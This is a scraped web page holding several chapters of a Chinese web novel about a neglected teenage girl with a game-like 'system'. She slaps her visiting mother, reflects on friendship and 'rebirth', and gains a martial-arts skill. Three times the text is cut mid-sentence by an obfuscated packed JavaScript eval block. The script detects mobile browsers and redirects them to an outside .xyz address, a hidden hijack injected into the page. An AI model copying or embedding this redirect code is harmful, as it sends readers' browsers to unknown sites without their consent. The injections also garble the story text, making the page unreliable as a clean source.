;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14385158|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校找她。 这样的事，崔皓月记事以来还是第一次遇到。 在妈妈出现前，她早已无数次幻想过今天的场景。 此时她看着妈妈，心情平静得自己都意外。 没有一丝感动，没有一丝欣喜，更没有一丝忐忑不安。 妈妈穿着领子毛茸茸的风衣，提着一袋行李，鞋是低跟短靴。她的嘴唇是红的，像抹了口红，中长发染成红褐色，烫卷了，脖子上围着丝巾。 看，这就是生活在大城市的妈妈。 她有钱打扮自己，没钱给穷困的女儿。 崔皓月的眼睛湿了，一颗心被山岳般沉重的委屈压着。 “婷婷，是你。”妈妈认出她，笑容满面，“你长高了好多！” 妈妈凝视她，向她伸出手：“怎么你老是不肯打电话跟妈妈聊天？妈妈刚才差点认不出你，你长成大姑娘了……” “啪！”崔皓月用力挥开妈妈的手。 她恼怒地说：“我改名了！” 妈妈一愣，脸上的笑意如霜雪冻结，不复柔和：“你这死孩子！改名你也不跟我说一声，你还改姓！谁让你自作主张的？你以为你找人诓骗你奶，你就能改乱七八糟的名？告诉你，我和你爸不同意，你改了名也得叫徐婷婷！” 这才是她认识的妈妈，不温柔，不亲切，不爱她。 崔皓月发出冷笑：“你不同意改名，那你去派出所改我名啊！呵呵，改不动吧？法律上你不是我妈，我改名改姓关你屁事！就算奶奶反悔，非要我改回旧姓名，成年后我想叫什么姓名你们还是管不着！” “你个反骨仔！我生的你，你连妈都不认？”妈妈愤怒，“你看看你做的什么事！跑去医院气你奶奶，找别人骗她，谁也不联系，在学校上学跟死了一样，过年都不回家团聚，电话也不打！你还当你是我女儿吗？” “不当！”崔皓月大声说，“我没有你这样恶毒的妈！” “你……你要气死我！”妈妈抓住她，“跟我去见校长！我要你退学！” 每天锻炼的崔皓月一股子力气，不费什么劲就把妈妈甩开。 她盯着站不稳的妈妈，说：“立刻离开我的学校！我不会退学，我会考上大学，我会过得很好！比你们都好！我不要你这样的妈！不要你们这样的亲人！” 妈妈看着她，忽然落泪，身上的气势消失了。 “婷婷，我是你妈，亲妈！”妈妈用伤心委屈的语气说，“你非要跟我过不去？我今天要去上班的，特地请假来学校见你，路上坐车坐了十多个小时。到了你的学校不知道你在哪，问了好多人才找到你的宿舍，你怎么能这样任性地对妈妈？” 【叮！你触发了生活事件】 【妈妈想跟你和好如初，你决定——】 【选项一：扑进妈妈怀里哭，求她对你好一点，获得10元零花钱】 【选项二：拒绝她，获得500元零花钱】 【选项三：要求她交学杂费伙食费，不肯就给她一耳光，让她滚，获得1000元零花钱】 久违多时的选项出现。 崔皓月看向选项三，再看选项一和二，率先排除一。 望着擦泪的妈妈，崔皓月不愿意叫她，直截了当地问：“你给学杂费和伙食费吗？我来得早，还没去找老师交钱。” 嘀嗒~嘀嗒~ 二十秒的选择倒计时催促系统使用者尽快做决定。 抹去眼角的泪，崔皓月等待妈妈做出决定。 23.难过！奔跑！翻滚！晒太阳！ 她好像又回到那天，得到璀璨人生系统那天，她第一次那么仔细地看欺负她的张浩文长什么样子。只是，崔皓月现在看的，不是张浩文，而是不爱她的妈妈李金凤。 李金凤今年是多少岁来着？ 不知道。 她对李金凤的了解太少，毕竟她和李金凤之间的交流约等于无。 李金凤有点瘦，身高约一米六，肤色偏白，眉毛淡。 崔皓月不习惯直视别人的脸，不懂得分辨一个人的长相是否好看，也不会看脸色。她感觉李金凤不丑，李金凤似乎不太高兴的样子，估计不乐意给她花钱，也不怎么乐意来见她。 是爸爸让她来的？还是她自己来的？ 崔皓月不知道，也不想问。 “你奶奶说你被有钱人资助了。”李金凤瞧崔皓月的衣着，“有钱人给你钱，对你挺好，你穿得不差，用得着问我要钱帮你交学费？” 崔皓月不意外她的话，问她：“你不愿意为我花钱？你是我妈，亲妈！” 李金凤问：“你很缺钱？” 不缺钱就别问她要钱，这是李金凤的潜台词。 熟悉的失望情绪浮上心头，崔皓月的语气淡淡的：“不给我钱，不给我带吃的穿的，干嘛特地来学校看我？” “妈给你带了衣服！”李金凤打开行李袋，取出一件外衣。 看起来是羽绒，但填充物并非羽绒。 陆晨曦和晏北回都说过，这种衣服不暖，只是样子好看。 它也不是新衣服，有被人穿过很多次的痕迹。 这是谁不要的旧衣服让妈妈捡了？ 崔皓月说不清心里的感受。 妈妈已经做出选择。 她也在选择倒计时结束时做了自己的选择。 不应该期待的。 不应该迟疑的。 妈妈是怎样的人，她不是一开始就知道了吗？ 她多么盼望妈妈在意她，然而，她的妈妈连爱她都不愿意假装一下。 是的，连装都不想装。 崔皓月嘲讽地看着千里迢迢来送旧衣服的李金凤，想起了千里送鹅毛的典故。 典故里的人为鹅毛感动吗？她记不起来了。 此时此刻，她不感动，只觉得好笑。 她对李金凤说：“弟弟穿着四五百块的球鞋，我是姐姐，妈妈连新衣服都不舍得送给我，非要捡别人不要的衣服给我，哈哈。” “这衣服好好的，人家也没穿过几次，你当你是有钱人家里的大小姐，天天都能穿新衣服炫耀？”李金凤向她展示衣服，毫不脸红，“来，试穿一下。” 崔皓月没动。 忽然间，她发现，无论是奶奶还是李金凤，亦或张浩文，都有一个共同的特点。在伤害了她之后，这些人可以毫无负担地装作什么事都没有发生。 李金凤现在就表现得母女和睦。 如果李金凤挨了她一耳光，还能和睦吗？ 张浩文被打了是要跟她计较到底的，她希望她妈能有不一样的反应。 这样想着，崔皓月走近李金凤，一巴掌甩出去。 打在李金凤的左脸上。 “啪！” 轻轻的一耳光。 崔皓月的手不疼，李金凤的脸大概也不疼。 打出这耳光，崔皓月有点爽。 难道这就是暴力的快感？她思维发散，想起奶奶打年幼的自己，任凭自己如何哭喊，奶奶都不会心软半分。 旧衣服无声地掉到了地上。 李金凤捂住挨打的脸，不由得后退两步，又惊又怒地望着崔皓月，对她平静得不像打了自己的面容感到极度陌生。 眼前这人还是她的女儿？ 印象中内向羞怯的女儿什么时候变成这般可怕的模样？ 啊，自己竟然被女儿打了！ 当妈的被女儿打！简直倒反天罡！ 怒火冲散惧意，李金凤扬起手，要打在崔皓月脸上：“你……你竟敢打我？” 就在这时，她看到崔皓月笑了。 是的，崔皓月打了她，还笑得出来！ 李金凤扬起的手不由得顿住，再也挥不出去，这样的崔皓月让她感到莫名的恐惧。 “妈，衣服掉了。” 崔皓月垂眸看地上的衣服，所有紧张、伤心的情绪仿佛被拔除干净，剩下的只有从容，她对妈妈说道：“捡起来，给我试试衣服。” “你发什么疯！”李金凤难以置信地瞪她，“你打我，还有脸让我拿衣服给你试？你真的是徐婷婷？你变化太大了，简直跟疯了一样！谁教你这样对妈妈的？你还记不记得我是你的谁？” “我说过，我改名了。”崔皓月很遗憾，“我也不想这样对你的，但是……为什么你要那样对我？不爱我，你可以不生我。” 李金凤喃喃说：“你疯了！你一定是疯了！我做什么孽才会生下你这种害人精！” 崔皓月回答：“在生下我之前，你打了多少女胎？那就是你作的孽！” 她不想和李金凤纠缠下去，指着距离不远的学校后门：“滚！捡起你的衣服，从我的学校滚出去！” 【叮！你完成选项三，1000元零花钱已发放至账号】 系统即刻结算奖励。 钱很多，崔皓月却无法感到快乐。 大约是她已经意识到，她从生下来就没有妈妈。 被她驱赶，李金凤恼怒不已。 “贱货！有钱了连亲妈都不认，你还是人吗？”李金凤骂她。 见她无动于衷，李金凤恨恨地看她一眼，一脚踩脏地上的旧衣服，走向学校大门。一边走，她一边打电话，要找人整治崔皓月。 无视围观的同学，崔皓月回到宿舍，把竹席搬出来晾晒。 旧衣服还留在地上，像个人人嫌弃的垃圾。 她捡起衣服，发现它看起来完好，口袋却破了洞，能摸到内部的填充物。 妈妈，她的亲妈，送给她的旧衣服都是破的，却能给亲儿子买四五百元的球鞋。 为何她与弟弟的待遇如此悬殊？ 崔皓月无法理解妈妈的思维。 她把旧衣服放进垃圾桶，眨了眨眼睛，泪水划过脸庞，滴落在地上。 很难过。 很伤心。 很委屈。 想找个无人的地方，痛痛快快地哭一回。 但崔皓月感觉自己哭不出来，也不想为妈妈的极度偏心失态。 在她的认知里，哭泣只能得到嘲笑，无法像电视演的那样被别人怜惜。 她也不知道，委屈不会消散。 即便是多年之后成熟的她，在夜深人静时想起今日的经历，同样会难受得心痛，会无法遏制地哭出来，难以入睡。 曾经想要拥有一个枕头的渴望，不知过了多久，才能得到延迟的满足。 今日无人在意的委屈，化作心底的酸楚，又要积压多久，才能得到延迟的发泄？ “哗啦啦——” 回到宿舍里，拧开水龙头，崔皓月用冷冰冰的水洗脸。 她觉得自己冷静了一些，可是她需要做点什么分散注意力，才能不这样憋闷。 跑步吧！ 崔皓月迅速换好衣服，去跑道上跑步。 慢跑渐渐变成奔跑，速度越来越快，她以发泄体力的方式发泄情绪。 风从耳边刮过，呼呼的。 脸被刮疼了，感觉似乎麻木了。 她听到自己如雷的心跳声，听到脉搏有频率的震动，听到自己粗重的呼吸。她跑得很快，非常快，快到热泪在涌出的瞬间就会甩飞，快到喉咙里无法发出哭声。 运动真好！ 她喜欢运动。 200米很快跑完了，崔皓月毫不停歇地跑第二圈。 用尽全力地奔跑，如同参加比赛，以夺得冠军为目标。 她想，妈妈不爱她又怎样？没有妈妈的爱，她不还是长大了？ 在和妈妈的对峙中，她表现得很稳重，很从容，像个成熟的大人。妈妈无法奈何她，被她轻松击败，她应该庆祝自己的成长，不是吗？ 她得鼓励自己，学习陆晨曦自己夸自己：“崔皓月，你好厉害！你的表现很好！你又进步啦！你真的非常坚强！非常勇敢！” 奔跑着，思考着，一切事物被她甩在身后。 无论是委屈难过的泪水，还是徐婷婷这个极度耻辱的名字。 她抛弃了妈妈，抛弃了奶奶。 她还要抛弃爸爸和弟弟，抛弃所有亲戚，永远地与他们断绝联系！永远！ 崔皓月坚信，自己能做到，一定能！ 力气快要用完了，她奔向终点。 噢，越过终点了！ 跑完了！ 嘿嘿，终于跑完啦！ 崔皓月停下，又不想停。 于是她顺着奔跑的惯性摔到地上，冬天衣服厚，摔得不疼不痒。 她在地上翻滚，平躺着看又高又远的蓝天，喘着气，不由得笑了起来。 “我好厉害！我好强！我是最勇敢的人！” 她轻声说。 说着便笑出声，对自言自语感到羞耻，感到好笑。 她的笑声越来越大：“哈哈哈……” 听到动静的人都投来奇怪的目光。 崔皓月压根没看他们，她用笑声表达心情，像一条虫子在地上翻滚、扭动，自由自在。 何必那么在意别人的目光？ 何必那么关心别人的想法？ 自己才是最重要的，她高兴，她想做什么便做什么。 这是她的自由！ 衣服脏了就脏了，她难道不能洗干净？ 洗不干净就买新的！她买得起！ 今天的天空似乎特别蓝。 崔皓月着迷地欣赏着，过了好久才想起拍照片发给陆晨曦：“现在，你抬头看天空，是不是特别蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390641|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，特别美？我好喜欢！” 同样的照片发给同桌晏北回：“天空很蓝。” 先回复的是晏北回，她发了照片：“操场上滚来滚去的人是你吗？我在班级群里看到的，你怎么躺地上了？” 崔皓月举起手机打字：“想躺，所以躺，有问题吗？” 晏北回：“……” 晏北回：“你也不怕衣服弄脏了。” 为什么先回复的不是陆晨曦？ 不想理会没意思的晏北回，崔皓月放下手机，闭上眼，默默歇息。 她想到人生独行这个词。 好朋友陆晨曦能天天陪她晨跑吃饭，不能随时回应她的需求，也不能在她需要的时候biu~的一声出现，与她肩并肩面对困难。 但陆晨曦是她最好的朋友，她现在需要陆晨曦，打个电话给陆晨曦吧？ 崔皓月睁开眼睛，拨通陆晨曦的号码。 “喂？” “是我。” “哇！你好少打电话给我的，是不是遇到什么事了？” “现在忙吗？” “不忙呢，很有空，可以跟你聊很久天，只要你不介意你的话费。” 电话那头的陆晨曦笑得很轻松。 崔皓月也轻松地笑起来，说：“很好，现在，立刻，抬起头看蓝天，可以吗？” “要等一下哦，我马上到天空下！” 手机里传出了踩踏木地板的噔噔声，还有风声，以及陆晨曦急促的呼吸。 崔皓月可以想象，陆晨曦正在飞快地前往目的地。 她那样焦急，都是为了我！我对她这么重要！我是她的好朋友，她在乎我，很在乎——崔皓月笑得更开心，整个人甜蜜蜜的，轻声说：“不要跑这么急，慢慢来，我们不急。” “呼呼，呼——我急！”陆晨曦回道，“我看到阳光了！正在看天，唔……天空好像没什么变化？” “今天的天空很蓝很美，云很白。”崔皓月看着蔚蓝的天，“我们在看一样的天空，我觉得这有点浪漫。” “哈哈哈，我没注意到天空的变化，天总是那个样子，你比我细心些。”陆晨曦说，“今天阳光挺好，适合晒太阳。” “嗯，正在晒。”崔皓月说，“我躺在跑道旁边的草地晒太阳，刚才跑了好几圈200米，累得没力气起来。” “怎么忽然剧烈运动？”陆晨曦好奇。 “我妈来学校找我。”崔皓月的语气相当平静，带着点讥诮，“她千里迢迢地从深城来见我，钱是不愿意给的，给了我一件别人穿过的旧衣服，我扇了她一巴掌。” “啊！”陆晨曦发出惊讶的声音，“离谱！” “打人是不好的。”崔皓月的反思也是平平淡淡的，“可是我打她耳光，我觉得很爽。” 心跳开始加速。 她感觉到，紧张的情绪在身体里蔓延。 说出了很恶毒的心里话，暴/露了阴暗的真面目，好朋友会怎么看她？ 在陆晨曦作出表示前的每一秒，甚至每个刹那，对崔皓月来说，都是煎熬。 陆晨曦沉思：“唔……” 陆晨曦开口：“你打了你妈，像你打张浩文那样，给了她一耳光？” 崔皓月回答：“打了，没怎么用力，手不疼。打张浩文那次，我的手都被震疼了。” “哈哈，我还记得张浩文脸上的巴掌印呢，你打得挺狠，他活该挨你打。”陆晨曦笑着说，“你妈也是个活该挨打的，大老远跑来见你，给你送旧衣服，这是开啥玩笑？就算不想给你钱，也得带点水果零食，买几件新衣服给你啊……” 说完，陆晨曦叹气：“好可惜，我没在你身边，不然我能替你骂她！哪有她那样当妈的？被她生下来你真是倒大楣了！” “她很过分。”崔皓月随口附和，心思根本没放在离谱妈妈上。 欣喜！ 高兴！ 好朋友不觉得她恶毒！ 好朋友为她不平！好朋友赞同她的做法！ 不忐忑了，也不紧张了，崔皓月的心充满快乐和满足。 “换作我是你，我不止甩她一耳光，我还要把她发到网上让网友们审判，让所有人知道她怎么当妈，让她的宝贝耀祖千人嫌万人憎！”陆晨曦冷哼。 下一刻，她话音一转：“我就说，你怎么给我打电话，原来是要我安慰你啊！嘻嘻，现在你的心情好受点了吗？我的安慰是不是很暖心？我超级体贴的！” “你超级好！”崔皓月发自内心地赞美好朋友，“谢谢你，我的心情好得不得了！” 通话持续十六分钟，挂断电话后，崔皓月也是甜蜜的。 阳光晒得她身上暖洋洋的，她意识到，自己很多年没有这样晒过太阳了。 冬天就应该躺在太阳下享受温暖。 直到北风卷起尘土，无情地糊了她一脸。 呜！好脏！受不了！崔皓月跳起来，逃离不合适的晒太阳地点。 24.我不重生 新学期开学，崔皓月把所有费用交了，没有让陆晨曦的妈妈资助。 陆晨曦不赞同，觉得她犟：“你太过独立，边界感太强，这样会让帮助你的人感到苦恼。” “可是，这就是我呀。”崔皓月笑得坦然，“我打工赚钱读书，确实不需要资助，你妈妈的钱应该给有需要的人。” “是啊，她爱自己赚钱交学费，你管她那么多干嘛？你又不是她妈。”晏北回撇嘴，看在崔皓月与自己同桌的面上，没说她不识好歹。 别人乐意出钱资助自己读书，多好的事啊！ 崔皓月也没啥钱，过年都要去打工，怎么狠得下心拒绝？ 晏北回理解不了崔皓月，感觉她清高得有点讨厌。 忽然，晏北回脑海里灵光一闪，悟了。 难怪陆晨曦会把崔皓月视作朋友，这俩都傲慢！ 一个傲慢地蔑视所有庸人，浑身散发着“我很高贵，尔等凡人俗不可耐，不配走进我的心”的气息。 另一个倒是没有瞧不起人，她的傲慢在于不走寻常路，一言一行都像是彰显自己绝非庸俗之人。 什么网吧里跟班主任打视频，什么忽然改名，连姓都换掉，什么每天坚持晨跑，哪怕工作繁忙辛苦，都不能让她放纵自己睡个懒觉…… 更致命的是，崔皓月的彰显并不刻意。 她甚至意识不到她在彰显不同，毕竟她只是做她要做的事，说她要说的话。 好可恶！ 晏北回用力握拳。 感觉崔皓月更傲慢了，比陆晨曦还要傲慢。 偏偏她无法讨厌崔皓月，对方待她赤诚，她不忍心辜负，也不愿意辜负。 她不由得思考，难道崔皓月这种不一般的清高孤傲，便是上天让其重生的原因？ 崔皓月当真是来自未来的重生者吗？自己以后当真过得不太好？ 她又想，既然崔皓月异于常人，性格坚强有毅力，认真努力，为何重生前过得不好？ 思绪纷纷，晏北回心不在焉。 崔皓月察觉她走神，想问她想什么，陆晨曦先问：“皓月，你在酒楼打工累不累？” “累啊，一天十几个小时，很辛苦的。”崔皓月展示自己轻度皲裂的手，“我每天睡觉前都会涂抹凡士林，但是干活依然把我的手变成这样。” 陆晨曦被吓了一跳：“手都弄伤了，亏你还做得下去！现在还疼不？” “不怎么疼，而且我赚到钱了。”崔皓月回想工作经历，摇摇头，“打工太辛苦，我以后不要打工，我要努力学习，凭脑子吃饭！” 感觉学习更有动力了呢！ 她没忘记晏北回，朝这位同桌看去。 见同桌在看自己的手，不再心神恍惚，她放下心来，大大方方地把手递过去：“喏，这就是体力劳动者的手。家里不穷，没必要把假期用在打工上。我看到别人说，假期要享受生活，因为毕业后有打不完的工。” 晏北回敷衍地点头：“你说得对。” 她想，从前的崔皓月内向又胆小，是个平凡的无聊人，陆晨曦看都不会多看一眼。崔皓月变成现在这样一定是因为重生吧？ 重生前，崔皓月过得不好，所以重生后加倍努力。 同样的游戏，第一次接触肯定玩不好，第二次玩就有经验了。 对，一定是这样！逻辑完美地圆上了！晏北回在心里欢呼，很快，她又回忆起自己看重生文的迷思。 重生不涨智商，失败的人重生后难道能成功？ 而能够成功的人，不需要重生也会成功。 要上课了，三人的聚会就此结束。 晏北回在本子上写了一句话，推给同桌崔皓月看：“你对重生有什么看法？” 你说你是重生者，你的人生过得不太好，你渴望重生吗？乐意重生吗？晏北回没有重生过，她要知道当事人崔皓月的想法。 这对她很重要。 骤然间被问重生，崔皓月立刻心虚。 同桌这是发现她撒谎？不对，她澄清过，重生是一个谎言，不是真的，得镇定点。 “我要你认真回答我！！！”晏北回写了三个感叹号强调这句话。 崔皓月头疼，当初自己为何那么想不开非要撒谎呢？ 问题还是要思考的。 讲真，她没有考虑过重生。 她只幻想过自己穿越到十七年前，做一个刺杀婴儿徐婷婷的杀手。 她也明白，这种想法充满了自我厌恶，很不健康，所以她后来再没有这样想过。 对于重生到童年的假设，崔皓月产生的第一个感觉是坚决拒绝。 毕竟，此时的她，正处在十七年人生中最美好的时候—— 跟吝啬刻薄的奶奶决裂了，跟不爱自己的妈妈分道扬镳了，她不受家庭困扰，有关心自己呵护自己的老师，有最好的朋友陆晨曦。对比从前，如同获得新生。 所以，她根本不想重生到童年。 重生了，她学习会更好，更容易考上好大学，更早地与陆晨曦成为挚友。 然后呢？ 奶奶还是那么吝啬刻薄的一个人，妈妈还是不爱她，她要再一次经历她们施加的苦痛。 这没有意义。 崔皓月在纸上写：“我不重生。” 短短四个字难逃敷衍嫌疑，崔皓月想了想，在“我不重生”下补充一句话作为解释：“我认为我的未来会比过去的任何一个时刻都美好。” 是的，未来更美好，她不会幻想重生。 晏北回惊讶地看着同桌。 重生的人说不愿重生，真不愧是傲慢的崔皓月！ 她有很多疑惑，有很多想法，她问：“你重生前真的过得不好？” 崔皓月反问：“改变前的我，你觉得会有怎样的未来？” 晏北回了然，接着问：“高考是你的遗憾吧？重生能弥补很多遗憾，你不满意？” 不管怎么解释重生是谎言，同桌都不肯相信自己，崔皓月也是十分无奈。 她硬着头皮回答：“过去的遗憾再多，我也走过来了，没必要对已成定局的事实耿耿于怀。” 生下来便妈妈不爱，奶奶不疼，这算是遗憾吗？崔皓月不清楚，反正重生不能让李金凤爱她，系统也不能让李金凤爱她。 而她，已经长大到不需要妈妈爱她的年纪。 晏北回看到了崔皓月的惆怅，感觉崔皓月有百分之九十九的可能是重生者，她无意识地转手上的笔，茫然中带着几分说不出的焦虑。 上个学期，她硬是挤进崔皓月和陆晨曦之中，组成一起行动一起玩的三人小团队。 看起来她们像是接受她了。 实际上，她们是真心接受她，把她当成朋友看，还是被她烦到受不了，不得不装出接纳她的姿态，让她少作妖？ 让你觉得我对你很好是陆晨曦的天赋，晏北回被骗过，无法确定陆晨曦的真心。 至于同桌崔皓月，晏北回敢肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14397785|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定，自己在崔皓月心里的地位，绝对是不如陆晨曦的，谁让陆晨曦先一步与崔皓月成为好朋友呢？ 况且，就算陆晨曦晚一步，晏北回也没有信心胜过她。 陆晨曦是真正的小太阳，那么耀眼，那么光芒四射，谁能狠心拒绝她的垂怜？晏北回拒绝不了，以己度人，认为崔皓月也无法拒绝陆晨曦。 都说爱情容不下插足者，亲密的友情其实也容不下第三人。 晏北回确实对崔皓月存在占有欲，这无关爱情。 她想让崔皓月只对她一个人好。 此外，优秀的陆晨曦那么看重崔皓月，她若能把崔皓月从陆晨曦手上夺走，岂不是证明了自己不比陆晨曦逊色多少？晏北回仍然记恨陆晨曦从前对她若即若离，阴暗地琢磨着报复陆晨曦的方式。 哈，陆晨曦虚伪，自己何尝不虚伪？ 晏北回厌恶脑海里见不得光的念头，对崔皓月和陆晨曦也产生了厌恶感。 她是庸俗之人，不清高，没毅力，家境平常，妈妈对她不好不坏。她这么普通，人人能替代，所以她不配有优秀的朋友？ 为什么陆晨曦不能穷一点？为什么崔皓月不能市侩一点？对，都怪她们太过优秀，才会使她自惭形秽。 当高考结束，陆晨曦就算考零分，也是以简易模式轻松通关的人生。崔皓月可能考上好大学，可能考不上，但她的毅力注定她迟早成功。 唯有自己，晏北回又想起崔皓月说的话。 自己十年后过得不太好，那到底是怎么个不好？ 崔皓月不愿意透露未来的信息，她尝试推演自己的未来人生—— 以她现在的成绩，百分百无缘好大学，她是复读一年？还是将就着念不知名的大学？甚至她大学都有可能考不上，只能上大专？亦或家里出钱供她上昂贵的民办大学？ 不管是哪种，她的未来绝不轻松，过得不如两位朋友好似乎是必然到来的结果。 可她能怎么办？ 天生就是个平凡的人，她也常常感到绝望。 “皓月。”晏北回小声跟同桌说，“我就算重生了，也很难成功，你说是吧？” “你想重生？”崔皓月问。 “想。”晏北回讲实话，“我感觉我考不上好大学。” 有必要吗？崔皓月看着她，沉默不语。 晏北回自嘲地笑笑：“我想重生，你大概是看不起我的，陆晨曦估计会讥笑我做白日梦。” 崔皓月：“……” 崔皓月隐约感觉晏北回的精神状态不对劲，说：“如果你重生，那么你遇到的我，不会是现在跟你聊天的我。北回，你要和另一个我重新开始吗？” 晏北回不知如何作答。 “人可以改变。”崔皓月安慰同桌，“离高考还有好些天，你未必考不上好大学。而且，你不是在进步吗？” 开学第一天，老师们发下期末考的试卷，公开成绩。 查了自己的班级排名，晏北回承认，她这次确实考得不错。 班主任陈若龙甚至表扬了她。 “是不是不太想重生了？”崔皓月打趣她。 心思被说中，晏北回噘嘴，傲娇地说：“好吧，有一点，只有一点！”又问，“现在努力还来得及吗？” “不知道，尽力了，就无愧于心。”崔皓月举起手掌，“我们一起学习？” “啪！”晏北回和她击掌，“行，我俩加上陆晨曦，咱仨是备战高考的学习小分队！” 25.审视自己，思考人生 讲台上，老师在讲题前告诉学生，下周一考试。 崔皓月算了算，距离周一还有四天，顿时焦灼不安起来。 打工太忙，她没空复习，只是每天背点单词、课文、公式，考试肯定退步！退步了会打击自信心，那怎能行？ 必须抓紧时间复习！ 对此，陆晨曦看得特别开：“我假期也没空复习，光顾着玩了，大家都是这样，一起退步等于没退步。” 崔皓月瞪她：“万一别人偷偷摸摸学习呢？” 陆晨曦哈哈笑，非常自信地说：“如果别人偷偷学习一段时间能胜过我，那么我早就被人胜过不知多少回。况且，人家那么努力，让一下人家怎么了？” “我也没有复习！”晏北回痛苦地挠头，“我连作业都是抄别人的！” “来，咱们一起学习！”崔皓月提议，“学不死，就往死里学！” 周六一整天、周日上午，三人小团队都在认真学习。 到了周日下午，陆晨曦坐不住了：“得休息一下，你们说，去打两小时篮球怎样？” 高强度学习令人疲惫，晏北回伸了个懒腰，出声赞同：“好主意！学习必须劳逸结合！” 只剩下崔皓月没有表态，两位好朋友一致向她投去目光：“你也该运动一下了！” 崔皓月还在做卷子，摇摇头：“你们先去篮球场，我写完这张卷子，改完答案就去找你们玩。” 见她意志坚定，无法动摇，两位好朋友只得把她留在教室，她俩去篮球场。 就算是高三，周日下午也没有自习课。 大家各有各的娱乐项目，教室里小猫小狗三两只，安安静静。 崔皓月写完试卷，到底惦记着两位好朋友，只检查一遍，便拿出答案，用红笔批改自己的试卷。考的是英语，她考得不错，错题重做，确认自己不会犯同样的错，才放下笔。 很好，现在能找朋友们玩耍了！ 【叮！你使用璀璨人生系统已达到100天】 【特殊事件已解锁，积分体系已开放】 【你获得100积分（展开折叠查看积分的来源、获取方式、用途、使用记录）】 【背包增加1格】 【你获得一件道具（随机），请抽取】 【你获得一项技能（随机），请抽取】 【你获得5000元零花钱】 突然刷新的系统信息吓了她一跳。 单纯地使用系统也能获得奖励？特殊事件和积分体系是个啥？ 她浏览着内容。 背包多1格挺好的，她时常觉得背包太小，放不了多少东西。 道具和技能都能抽取一个。 崔皓月立刻想到上次抽到的技能——蚊子不想咬你。 使用技能后，她确实没被蚊子咬过，被她用了技能的陆晨曦、晏北回也没让蚊子咬过。 不知这技能是什么原理，反正她觉得技能就像故事里的魔法一样神奇。 还特别实用！ 先抽个技能吧。 搓了搓手，崔皓月满怀期待地选择抽取。 【恭喜你抽中技能“武道家”】 【武道家LV1：你也幻想过自己是武功高强的大侠吗？从今天开始做武术家吧！该技能每日可使用1次，1次可持续15分钟。注意！该技能仅能对自己使用！该技能难以对抗热兵器！】 把技能说能看了一遍，崔皓月不是很明白。 使用【武道家】能立刻变成武道家？ 试试看！ 她对自己使用技能【武道家】。 瞬间，她感觉自己变得很不一样，脑海里多了许多与武功有关的知识、记忆。她仿佛变成一位勤练不辍的武道家，无论酷暑严寒，无论刮风下雨，从未懈怠一天。 她强大自信，所向披靡。 即便是浑身肌肉、手持武器的强壮男人，也败在她手中。 与此同时，崔皓月获得不同寻常的武道本能。 她迅速调整了坐姿，锐利的目光扫过教室里的每一个同学，评价其实力，在脑海中模拟如何出手能击败他们。 若是他们一起攻击她，又该如何应对。 好特别的体验！ 崔皓月对自己的变化又惊又喜。 趁着【武道家】技能还在，她以武道家的目光审视自己，即刻得到评价： 弱！弱！弱！ 好吧，她一直知道她弱，她要变强！ 武道家的记忆马上让她知道变强大的方法，没有人是生来强大的，她要锻炼自己。 崔皓月离开座位，来到教室后方较空旷的区域，毫不费劲地摆出练武的姿势，引来同学们的注目。 “你在干嘛？”有人好奇。 “学累了，练个武。”崔皓月努力记忆自己的姿势。 她知道，正是凭着武道家的经验，她才能如此轻松地掌握练武姿势。 当【武道家】技能失效，她依然是原来的她，不会武功，也不懂什么练武姿势。 趁着技能还在，不得多学点！ 同学们惊奇地看着她：“你居然会武术？陆晨曦教你的？” 传说陆晨曦会武术。 但那是传说，大家都没见识过。 崔皓月没空回答，她现在比什么时候都认真，只想尽快掌握练武姿势。 武功哎，谁不想掌握？ 她不求打遍天下无敌手，学会飞檐走壁，能收拾几个小混混就行。 十五分钟，说长不长，说短不短。 在【武道家】失效的刹那，武道家的一切知识、记忆、经验俱消失，崔皓月的练武姿势也变得生疏。她细细回味刚才的体验，又坚持十五分钟，才无可奈何地放弃锻炼。 明天再让武道家出来练练吧！ 擦了擦身上的汗水，崔皓月回到位置上喝水。 抽取的技能很实用，她很喜欢。 系统真是太好了！ 【道具】又是个什么呢？跟童话故事里皇后的魔镜差不多？ 怀着莫名的兴奋，崔皓月选择抽取道具。 【恭喜你抽中道具“恶意预测眼镜（一次性体验版）”】 【恶意检测眼镜：戴上眼镜，预见即将爆发的恶意】 嗯，第一次获得道具，但是心情十分平和。 可能是因为这件道具后缀的（一次性体验版），可能是因为它对她用处不大…… 总之，崔皓月有点儿失望，超实用的【武道家】拉高了她对道具的期待值。 道具相对特殊，系统并没有把恶意检测眼镜（一次性体验版）快递给她，而是将其放在属性信息面板的【道具】栏，有需要的时候随时能取出来使用。 